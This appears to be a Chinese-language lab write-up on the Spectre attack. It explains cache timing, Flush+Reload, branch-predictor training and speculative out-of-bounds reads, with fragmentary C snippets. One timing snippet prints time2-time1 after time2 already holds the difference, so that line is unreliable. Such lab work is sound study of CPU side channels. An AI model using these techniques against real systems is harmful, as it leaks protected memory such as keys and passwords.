Spectre实验
Cache timing
我们需要测得Cache timing
命中与不命中的时间差别。我们引入两个库:
emmintrin.h
x86intrin.h
我们首先为了测到被访问数据,需要将cache清空,这样被访问的数据,就会因为已经进入Cache
而访问时间短了一些。
int junk = 0;
register uint64_t time1, time2;
volatile int ui;
int i;
for(i=0; i<10; i++){
array[i*4096] = 1;
}
for(i=0; i<256; i++){
_mm_clflush(&array[i*4096]);
}
array[3*4096] = 1;
for(i=0; i<10; i++){
addr = &array[i*4096];
time1 = __rdtscp(&ui);
junk = *addr;
time2 = __rdtscp(&ui) - time1;
printf("%d\n", time2-time1);
}
我们通过_mm_clflush
刷新cache
空间,同时使用__rdtscp
来获取运行的时钟周期数。
Flush and Reload
flush
意味着我们预先将cache
内的数据清空,之后我们假设被攻击的函数有如下代码。
void victim(){
temp = array[secret*4096+DELTA];
}
这样我们通过遍历secret的取值范围,通过测量时间,就可以知道secret
的值。
Spectre
spectre
是利用分支预测漏洞和处理器乱序执行,来达到访问原本访问不到的数据。如被攻击函数有如下的代码。
void victim(size_t x){
if(x < size){
temp = array[x*4096 + DELTA];
}
}
我们首先训练分支预测器,这里假设size
为30, 这样有如下代码:
for(int i = 0; i < 30; i++){
victim(i);
}
接着执行victim(index_out_bound)
, 这样这个数据就进入了cache
中,这时由于分支预测存在,这里被预测为执行成功,等到知道结果为不执行的时候,数据已经进入了cache
,这样通过cache timing
就可以知道这个index_out_bound
到底是多少。
Attack
当然我们需要获取数据,而不是一个index
,我们改进代码。
s = restrictedAccess(index_beyond);
if(s!=0)
array[s*4096+DELTA] = 1;
这样数据就进入了cache
中,我们在通过cache
测量获取机密数据,实践中,还可以通过多次测量减小误差。